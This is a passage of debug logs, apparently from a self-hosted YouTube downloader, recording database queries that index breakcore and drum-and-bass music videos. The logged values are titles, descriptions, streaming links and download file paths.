direct message\n19:35 is it even real?\n22:06 press x to talk\n\n\n\n#dnb #breakcore #edmmusic", "somewhere in Between (full album)", "9ae7ee85-48b6-42ae-8da5-cc7958e3e4d9", false, "oFzlwBdC3Uw", 1453, false, "https://www.youtube.com/watch?v=oFzlwBdC3Uw", 3, "/downloads/Breakcore/Breakcore/2024-04-28somewhere in Between (full album)[oFzlwBdC3Uw].m4a", false, false, 3, [], 1, ~U[2024-04-28 06:46:42Z], ~U[2026-07-24 02:19:47Z], ~U[2026-07-24 02:19:47Z], "somewhere in Between..\nhttps://leylinehex.bandcamp.com/album/somewhere-in-between\nhttps://open.spotify.com/album/1kOxkdnycQHX9ZYN70Wz6a\nhttps://music.apple.com/us/album/somewhere-in-between/1743664877\nhttps://linktr.ee/leylinehex\n\nTracklist:\n0:00 spirit shell online\n2:33 falling next to u\n5:58 grey skies\n9:03 fatal condition\n12:12 save the humans\n15:03 just us now\n17:01 direct message\n19:35 is it even real?\n22:06 press x to talk\n\n\n\n#dnb #breakcore #edmmusic", "somewhere in Between (full album)", "oFzlwBdC3Uw", 1453, false, "https://www.youtube.com/watch?v=oFzlwBdC3Uw", "/downloads/Breakcore/Breakcore/2024-04-28somewhere in Between (full album)[oFzlwBdC3Uw].m4a", false, 3, ~U[2024-04-28 06:46:42Z]] 22:19:48.038 [debug] QUERY OK source="sources" db=0.2ms idle=371.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:48.038 [debug] QUERY OK source="media_items" db=0.1ms idle=105.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-23 15:00:06Z], 3] 22:19:48.179 [debug] QUERY OK source="media_items" db=139.9ms idle=104.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#KLYDIX #stillhere #Luira\n\nStill Here by KLYDIX\n\n🎧 Steaming : https://ffm.to/klydix-still-here\n\n─\n\nKLYDIX\nhttps://beacons.ai/klydix/klydix\nhttps://www.instagram.com/klydix\nhttps://twitter.com/klydix\nhttps://soundcloud.com/klydix\nhttps://www.youtube.com/klydix\nhttps://www.tiktok.com/@klydixmusic\n\n✦ CREDITS ✦\n\n◈ Sound\nProduced, Composed & Arranged : KLYDIX\nLyrics : KLYDIX\nVocal : KLYDIX\nMix & Mastering : KLYDIX\n\n◈ Visual\nCreative Direction : KLYDIX\nCharacter Illustration : KLYDIX\nBackground Footage : KLYDIX\nVideo Editing & Compositing : KLYDIX", "KLYDIX - Still Here [Official Music Video]", "b5d138a6-7687-42e2-a71e-05f66b491d6f", false, "Krl4WHYpTBk", 184, false, "https://www.youtube.com/watch?v=Krl4WHYpTBk", 4, "/downloads/Breakcore/Breakcore/2026-04-23KLYDIX - Still Here [Official Music Video][Krl4WHYpTBk].m4a", false, false, 3, [], 1, ~U[2026-04-23 15:00:06Z], ~U[2026-07-24 02:19:48Z], ~U[2026-07-24 02:19:48Z], "#KLYDIX #stillhere #Luira\n\nStill Here by KLYDIX\n\n🎧 Steaming : https://ffm.to/klydix-still-here\n\n─\n\nKLYDIX\nhttps://beacons.ai/klydix/klydix\nhttps://www.instagram.com/klydix\nhttps://twitter.com/klydix\nhttps://soundcloud.com/klydix\nhttps://www.youtube.com/klydix\nhttps://www.tiktok.com/@klydixmusic\n\n✦ CREDITS ✦\n\n◈ Sound\nProduced, Composed & Arranged : KLYDIX\nLyrics : KLYDIX\nVocal : KLYDIX\nMix & Mastering : KLYDIX\n\n◈ Visual\nCreative Direction : KLYDIX\nCharacter Illustration : KLYDIX\nBackground Footage : KLYDIX\nVideo Editing & Compositing : KLYDIX", "KLYDIX - Still Here [Official Music Video]", "Krl4WHYpTBk", 184, false, "https://www.youtube.com/watch?v=Krl4WHYpTBk", "/downloads/Breakcore/Breakcore/2026-04-23KLYDIX - Still Here [Official Music Video][Krl4WHYpTBk].m4a", false, 3, ~U[2026-04-23 15:00:06Z]] 22:19:48.194 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=156.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:48.195 [debug] QUERY OK source="media_items" db=0.4ms idle=156.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-16 10:03:33Z], 3] 22:19:48.316 [info] GET /sources/2 22:19:48.316 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 22:19:48.349 [debug] QUERY OK source="media_items" db=153.5ms idle=157.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nwhat have i done? · 404 Breakcore · 404 Breakcore\n\nwhat have i done? (breakcore)\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-07-17\n\nAuto-generated by YouTube.", "what have i done?", "c9dfe175-5e36-43d5-b666-142e8223704e", false, "xgtWeKswCCQ", 160, false, "https://www.youtube.com/watch?v=xgtWeKswCCQ", 5, "/downloads/Breakcore/Breakcore/2026-07-16what have i done?[xgtWeKswCCQ].m4a", false, false, 3, [], 1, ~U[2026-07-16 10:03:33Z], ~U[2026-07-24 02:19:48Z], ~U[2026-07-24 02:19:48Z], "Provided to YouTube by DistroKid\n\nwhat have i done? · 404 Breakcore · 404 Breakcore\n\nwhat have i done? (breakcore)\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-07-17\n\nAuto-generated by YouTube.", "what have i done?", "xgtWeKswCCQ", 160, false, "https://www.youtube.com/watch?v=xgtWeKswCCQ", "/downloads/Breakcore/Breakcore/2026-07-16what have i done?[xgtWeKswCCQ].m4a", false, 3, ~U[2026-07-16 10:03:33Z]] 22:19:48.350 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=155.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:48.351 [debug] QUERY OK source="sources" db=34.1ms idle=138.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:48.351 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=156.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-10 10:01:49Z], 3] 22:19:48.352 [debug] QUERY OK source="media_profiles" db=0.8ms idle=155.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:48.353 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 22:19:48.531 [debug] QUERY OK source="media_items" db=179.2ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nDoom 404 · 404 Breakcore · 404 Breakcore\n\nDoom 404\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-05-11\n\nAuto-generated by YouTube.", "Doom 404", "8b1dc80b-17c6-463d-99c7-d18e71e4b7fd", false, "gMF5Oy94jd4", 226, false, "https://www.youtube.com/watch?v=gMF5Oy94jd4", 6, "/downloads/Breakcore/Breakcore/2026-05-10Doom 404[gMF5Oy94jd4].m4a", false, false, 3, [], 1, ~U[2026-05-10 10:01:49Z], ~U[2026-07-24 02:19:48Z], ~U[2026-07-24 02:19:48Z], "Provided to YouTube by DistroKid\n\nDoom 404 · 404 Breakcore · 404 Breakcore\n\nDoom 404\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-05-11\n\nAuto-generated by YouTube.", "Doom 404", "gMF5Oy94jd4", 226, false, "https://www.youtube.com/watch?v=gMF5Oy94jd4", "/downloads/Breakcore/Breakcore/2026-05-10Doom 404[gMF5Oy94jd4].m4a", false, 3, ~U[2026-05-10 10:01:49Z]] 22:19:48.532 [debug] QUERY OK source="oban_jobs" db=179.2ms idle=2.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [65] 22:19:48.533 [debug] QUERY OK source="sources" db=0.9ms idle=180.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:48.533 [debug] QUERY OK source="settings" db=0.5ms idle=180.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:48.534 [debug] QUERY OK source="media_items" db=0.6ms idle=180.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-11 21:55:09Z], 3] 22:19:48.534 [debug] QUERY OK source="settings" db=0.9ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:48.536 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:48.682 [debug] QUERY OK source="media_items" db=147.9ms idle=1.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nQU5HRUxfMDYgLSBDSExPRQ== · 404 Breakcore · 404 Breakcore\n\nQU5HRUxfMDYgLSBDSExPRQ==\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-06-12\n\nAuto-generated by YouTube.", "QU5HRUxfMDYgLSBDSExPRQ==", "65bd6826-49ab-4f62-8f3c-5b6ed891e69a", false, "c58wLuWw0LI", 339, false, "https://www.youtube.com/watch?v=c58wLuWw0LI", 7, "/downloads/Breakcore/Breakcore/2026-06-11QU5HRUxfMDYgLSBDSExPRQ==[c58wLuWw0LI].m4a", false, false, 3, [], 1, ~U[2026-06-11 21:55:09Z], ~U[2026-07-24 02:19:48Z], ~U[2026-07-24 02:19:48Z], "Provided to YouTube by DistroKid\n\nQU5HRUxfMDYgLSBDSExPRQ== · 404 Breakcore · 404 Breakcore\n\nQU5HRUxfMDYgLSBDSExPRQ==\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-06-12\n\nAuto-generated by YouTube.", "QU5HRUxfMDYgLSBDSExPRQ==", "c58wLuWw0LI", 339, false, "https://www.youtube.com/watch?v=c58wLuWw0LI", "/downloads/Breakcore/Breakcore/2026-06-11QU5HRUxfMDYgLSBDSExPRQ==[c58wLuWw0LI].m4a", false, 3, ~U[2026-06-11 21:55:09Z]] 22:19:48.683 [debug] QUERY OK source="sources" db=0.2ms idle=149.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:48.683 [debug] QUERY OK source="media_items" db=0.1ms idle=148.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-16 18:01:03Z], 3] 22:19:48.842 [debug] QUERY OK source="media_items" db=157.5ms idle=148.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["will you accept their call?\n\n*songs and spotify links*\n00:00 - the Gods... sent me for you\n• https://open.spotify.com/track/6nxBRDAB5iatSdILnH6tsj\n03:07 - i can see the stars\n• https://open.spotify.com/track/30IE2cbsLhEdjy5KefQnPW\n08:21 - i wish to be free\n• https://open.spotify.com/track/4HqvgHIm4GD8xBCngkEtnR\n10:59 - doppleganger\n• https://open.spotify.com/track/1RYNfS4I72QQTEe2FHStwv\n14:31 - fractured halo\n• https://open.spotify.com/track/4ymTOJpnRzzMeijIaffAfU\n16:54 - Gods be damned... I summon BREAKCORE\n• https://open.spotify.com/track/3oBSN3BNkKhanbxBlDArDr\n19:29 - a breakcore song for my funeral... but i wake up\n• https://open.spotify.com/track/2yEdUjhbrlLnnzQYpM0YIR\n22:01 - the breakcore enchantress\n• https://open.spotify.com/track/0HCawzTGkacPoEgPa8Ih4a\n\nYou can find all the songs on YT music, apple music and tidal as well if you search!\n\nThis playlist focuses on more heavenly #edm #breakcore / #dnb with a focus on mixing in angelic female voices and gothic sounds. Please note the art and music are made with the help of AI. For the music I use AI to create voices and to master my track. For the visuals I use generative AI and then post-processing in photoshop to enhance and add extra elements and style. Hope you all felt chills listening to this like i did when i was making it :)\n\nTags (Ignore):\nSimple breakcore music playlist visualizer featuring a unique blend of angelic #breakcore and #dnb.", "POV: you're abducted by angels... (a DnB / Breakcore playlist)", "0efd8322-48df-40b4-860d-847f63a865a9", false, "GimsrvZO188", 1473, false, "https://www.youtube.com/watch?v=GimsrvZO188", 8, "/downloads/Breakcore/Breakcore/2026-04-16POV: you're abducted by angels... (a DnB ⧸ Breakcore playlist)[GimsrvZO188].m4a", false, false, 3, [], 1, ~U[2026-04-16 18:01:03Z], ~U[2026-07-24 02:19:48Z], ~U[2026-07-24 02:19:48Z], "will you accept their call?\n\n*songs and spotify links*\n00:00 - the Gods... sent me for you\n• https://open.spotify.com/track/6nxBRDAB5iatSdILnH6tsj\n03:07 - i can see the stars\n• https://open.spotify.com/track/30IE2cbsLhEdjy5KefQnPW\n08:21 - i wish to be free\n• https://open.spotify.com/track/4HqvgHIm4GD8xBCngkEtnR\n10:59 - doppleganger\n• https://open.spotify.com/track/1RYNfS4I72QQTEe2FHStwv\n14:31 - fractured halo\n• https://open.spotify.com/track/4ymTOJpnRzzMeijIaffAfU\n16:54 - Gods be damned... I summon BREAKCORE\n• https://open.spotify.com/track/3oBSN3BNkKhanbxBlDArDr\n19:29 - a breakcore song for my funeral... but i wake up\n• https://open.spotify.com/track/2yEdUjhbrlLnnzQYpM0YIR\n22:01 - the breakcore enchantress\n• https://open.spotify.com/track/0HCawzTGkacPoEgPa8Ih4a\n\nYou can find all the songs on YT music, apple music and tidal as well if you search!\n\nThis playlist focuses on more heavenly #edm #breakcore / #dnb with a focus on mixing in angelic female voices and gothic sounds. Please note the art and music are made with the help of AI. For the music I use AI to create voices and to master my track. For the visuals I use generative AI and then post-processing in photoshop to enhance and add extra elements and style. Hope you all felt chills listening to this like i did when i was making it :)\n\nTags (Ignore):\nSimple breakcore music playlist visualizer featuring a unique blend of angelic #breakcore and #dnb.", "POV: you're abducted by angels... (a DnB / Breakcore playlist)", "GimsrvZO188", 1473, false, "https://www.youtube.com/watch?v=GimsrvZO188", "/downloads/Breakcore/Breakcore/2026-04-16POV: you're abducted by angels... (a DnB ⧸ Breakcore playlist)[GimsrvZO188].m4a", false, 3, ~U[2026-04-16 18:01:03Z]] 22:19:48.843 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=159.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:48.843 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=159.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-26 06:56:05Z], 3] 22:19:48.935 [debug] Current batch of media processed. Will check again in 1000ms 22:19:48.978 [debug] QUERY OK source="media_items" db=133.6ms idle=160.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nsilence me... if you can. · 404 Breakcore · 404 Breakcore\n\nsilence me... if you can.\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-01-26\n\nAuto-generated by YouTube.", "silence me... if you can.", "fb4a6608-7e95-4947-aaac-40852ed983b7", false, "1PjAACm8MJw", 144, false, "https://www.youtube.com/watch?v=1PjAACm8MJw", 9, "/downloads/Breakcore/Breakcore/2026-01-26silence me... if you can.[1PjAACm8MJw].m4a", false, false, 3, [], 1, ~U[2026-01-26 06:56:05Z], ~U[2026-07-24 02:19:48Z], ~U[2026-07-24 02:19:48Z], "Provided to YouTube by DistroKid\n\nsilence me... if you can. · 404 Breakcore · 404 Breakcore\n\nsilence me... if you can.\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-01-26\n\nAuto-generated by YouTube.", "silence me... if you can.", "1PjAACm8MJw", 144, false, "https://www.youtube.com/watch?v=1PjAACm8MJw", "/downloads/Breakcore/Breakcore/2026-01-26silence me... if you can.[1PjAACm8MJw].m4a", false, 3, ~U[2026-01-26 06:56:05Z]] 22:19:48.978 [debug] QUERY OK source="sources" db=0.2ms idle=136.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:48.978 [debug] QUERY OK source="media_items" db=0.1ms idle=135.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-11 05:00:15Z], 3] 22:19:49.153 [debug] QUERY OK source="media_items" db=173.6ms idle=135.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["THE CYBERIA PLAYLIST: https://open.spotify.com/playlist/5dB3BPFWmOJrnRE7kHpim1?si=1e316d3f2a3a4e38&nd=1\nui gui uwu \n\nSewerslvt - NTR Ending\nTOKYOPILL - Metadata\nXxtarlit⚸ - Fleeting Frozen Heart\nZenithLights - Not Human", "All Evangelion UI / GUI Scenes (+EOE) : [Breakcore EDITION] v.2", "892ffa94-c523-4f1c-86c0-13e59013852f", false, "k0oQr7ZVtBQ", 305, false, "https://www.youtube.com/watch?v=k0oQr7ZVtBQ", 10, "/downloads/Breakcore/Breakcore/2022-01-11All Evangelion UI ⧸ GUI Scenes (+EOE) : [Breakcore EDITION] v.2[k0oQr7ZVtBQ].m4a", false, false, 3, [], 1, ~U[2022-01-11 05:00:15Z], ~U[2026-07-24 02:19:48Z], ~U[2026-07-24 02:19:48Z], "THE CYBERIA PLAYLIST: https://open.spotify.com/playlist/5dB3BPFWmOJrnRE7kHpim1?si=1e316d3f2a3a4e38&nd=1\nui gui uwu \n\nSewerslvt - NTR Ending\nTOKYOPILL - Metadata\nXxtarlit⚸ - Fleeting Frozen Heart\nZenithLights - Not Human", "All Evangelion UI / GUI Scenes (+EOE) : [Breakcore EDITION] v.2", "k0oQr7ZVtBQ", 305, false, "https://www.youtube.com/watch?v=k0oQr7ZVtBQ", "/downloads/Breakcore/Breakcore/2022-01-11All Evangelion UI ⧸ GUI Scenes (+EOE) : [Breakcore EDITION] v.2[k0oQr7ZVtBQ].m4a", false, 3, ~U[2022-01-11 05:00:15Z]] 22:19:49.153 [debug] QUERY OK source="sources" db=0.1ms idle=175.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:49.153 [debug] QUERY OK source="media_items" db=0.1ms idle=175.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-31 10:03:20Z], 3] 22:19:49.293 [debug] QUERY OK source="media_items" db=138.5ms idle=175.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, 